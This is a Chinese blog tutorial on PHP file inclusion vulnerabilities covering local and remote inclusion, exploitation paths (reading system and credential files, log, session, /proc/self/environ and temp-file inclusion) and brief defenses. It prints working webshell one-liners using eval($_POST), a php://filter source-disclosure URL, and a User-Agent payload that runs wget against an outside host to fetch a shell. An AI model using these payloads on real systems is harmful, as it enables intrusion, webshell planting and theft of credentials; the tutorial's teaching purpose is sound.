美文网首页
文件包含漏洞

文件包含漏洞

作者: 小小怪吃吃吃 | 来源:发表于2018-10-18 10:52 被阅读0次

几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,在JSP、ASP中十分少甚至没有,问题在于语言设计的弊端。


PHP包含

一、文件包含原理
PHP中提供了四个文件包含的函数,分别是include()、include_once()、require()和require_once()。这四个函数都可以进行文件包含,但作用并不一样。

- require:找不到被包含的文件时会产生致命错误,并停止脚本。
- include:找不到被包含的文件时只会产生警告,脚本将继续执行。
- include_once:和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
- require_once:和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

二、文件包含分类
PHP中的文件包含分为本地包含和远程包含。
(一)本地包含 Local File Include (LFI)

1、所包含文件内容符合PHP语法规范:任何扩展名都可以被PHP解析。
2、包含非PHP语法规范源文件,会暴露其源代码。

(二)远程包含 Remote File Include (RFI)
如果要使用远程包含功能,首先需要确定PHP是否已经开启远程包含功能选项(php默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在php.ini配置文件中修改。

远程包含与本地包含没有区别,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析。

三、文件包含利用
(一)读取敏感文件

常见的敏感信息路径:
1⃣️:Windows系统。
C:\boot.ini  //查看系统版本
  C:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
  C:\windows\repair\sam  //存储Windows系统初次安装的密码
  C:\Program Files\mysql\my.ini  //Mysql配置
  C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
  C:\windows\php.ini  //php配置信息
  C:\windows\my.ini  //Mysql配置文件
  ......
2⃣️:Linux系统。
/etc/passwd  
  /usr/local/app/apache2/conf/httpd.conf  //apache2默认配置文件
  /usr/local/app/apache2/conf/extra/httpd-vhosts.conf  //虚拟网站设置
  /usr/local/app/php5/lib/php.ini  //PHP相关设置
  /etc/httpd/conf/httpd.conf  //apache配置文件
  /etc/my.cnf  //Mysql的配置文件
  ......

(二)远程包含shell
*allow_url_fopen选项是激活的,可以尝试远程包含一句话木马。

访问http://www.xxx.xom/index.php?page=http://www.xiao.xn/echo.txt,
远程http://www.xiao.xn/下的echo.txt文件内容为:
  <?fputs(open("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>

(三)本地包含配合文件上传
上传一句话图片木马,得知图片路径(/upload/1.jpg),图片代码为<?fputs(open("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>,访问http://www.xxx.xom/index.php?page=./upload/1.jpg,包含这张图片并在index.php所在目录生成shell.php。

(四)使用PHP封装协议
PHP带有很多内置URL风格的封装协议,这类协议与fopen()、copy()、file_exists()、file size()等文件系统函数所提供的功能类似。

1、使用封装协议读取PHP文件:
- http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php

2、写入PHP文件:

(五)包含Apache日志文件
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中。

日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access log
(2) apache+win2003日志默认路径
(3) IIS6.0+win2003默认日志文件 C:WINDOWSsystem32Logfiles
(4) IIS7.0+win2003 默认日志文件 %SystemDrive%inetpublogsLogFiles
(5) nginx 日志文件在用户安装目录的logs目录下 如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里 也可通过其配置文件Nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)

web中间件默认配置
(1) apache+linux 默认配置文件 /etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件 C:WindowsSystem32inetsrvconfigapplicationHost.config

(六)截断包含
只适用于magic_quotes_gpc=off的情况,如果为on,%00(NULL)将会被转义,从而无法正常截断。

(七)绕过WAF防火墙

(八)包含session

  • 利用条件:session文件路径已知,且其中内容部分可控。
  • PHP默认生成的Session文件往往存放在/tmp目录下 /tmp/sess_SESSIONID ?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
  • (session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类 的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个 shell)

(九)包含/proc/self/environ文件

  • 利用条件:
  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。
  • 姿势:
    proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。 之后再包含它,即可。
    ?file=../../../../../../../proc/self/environ 选择User-Agent
    写代码如下:
   <?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>

然后提交请求。

(十)包含临时文件


image.png
  • php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临 时文件被删除之前,利用竞争即可包含该临时文件。
  • 由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有 65535中不同的文件名,所以这个方法是可行的。另一种方法phpinfo来获取临时文件的路径以及名称,然后临时文 件在极短时间被删除的时候,需要竞争时间包含临时文件拿到webshell。

详见:https://blog.csdn.net/qq_33020901/article/details/78801079


JSP包含


文件包含漏洞防御

1、严格判断包含中的参数是否外部可控。
2、路径限制
3、包含文件验证
4、尽量不要使用动态包含,可以在需要包含的页面固定写好


绕过有防御的本地文件包含

<?php
 $file = $_GET['file'];
 include '/var/www/html/'.$file.'/test/test.php'; 
?>

这段代码指定了前缀和后缀:这样就很“难”直接去包含前面提到的种种文件。


绕过有防御的远程文件包含

<?php
 $basePath = $_GET['path'];
 require_once $basePath . "/action/m_share.php"; 
?>

相关文章

  • php安全

    文件包含漏洞** 本地文件包含**能打开并包含本地文件的漏洞,被称为本地文件包含漏洞(LFI)%00截断,php内...

  • 网络安全之文件包含漏洞总结

    介绍 文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直...

  • 文件包含漏洞

    定义:在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄...

  • 文件包含漏洞

    几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,在JSP...

  • 文件包含漏洞

    文件转载自https://blog.csdn.net/chence19871/article/details/51...

  • 文件包含漏洞

    文件包含漏洞 产生的原因:通过引入文件时,用户可控,没有严格的检验,或是被绕过,操作一些敏感文件,导致文件泄露和恶...

  • 文件包含漏洞

    文件包含 常见文件包含函数 利用条件 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件 ...

  • 文件包含漏洞

    当allow_url_open=on allow_url_include=on 就会造成文件包含漏洞 http:/...

  • 文件包含漏洞

    一、文件包含漏洞简介 1、包含:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文...

  • 文件包含漏洞

    文件包含漏洞概述 在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用"包含"函数功能,比如...

网友评论

      本文标题:文件包含漏洞

      本文链接:https://www.haomeiwen.com/subject/thhjzftx.html